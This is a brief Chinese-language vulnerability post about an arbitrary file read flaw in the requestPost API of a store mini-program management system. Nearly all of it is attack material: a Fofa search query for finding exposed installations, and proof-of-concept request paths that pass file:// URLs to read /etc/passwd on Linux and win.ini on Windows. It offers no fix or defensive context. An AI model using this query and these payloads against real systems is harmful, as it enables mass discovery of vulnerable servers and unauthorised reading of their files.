万能门店小程序管理系统 requestPost存在任意文件读取漏洞

Fofa：

body="/com/css/head_foot.css" || body="/com/css/iconfont"

 POC:

linux:/api/wxapps/_requestPost?data=1&url=file:///etc/passwd
windows:/api/wxapps/_requestPost?data=1&url=file://C:\Windows\win.ini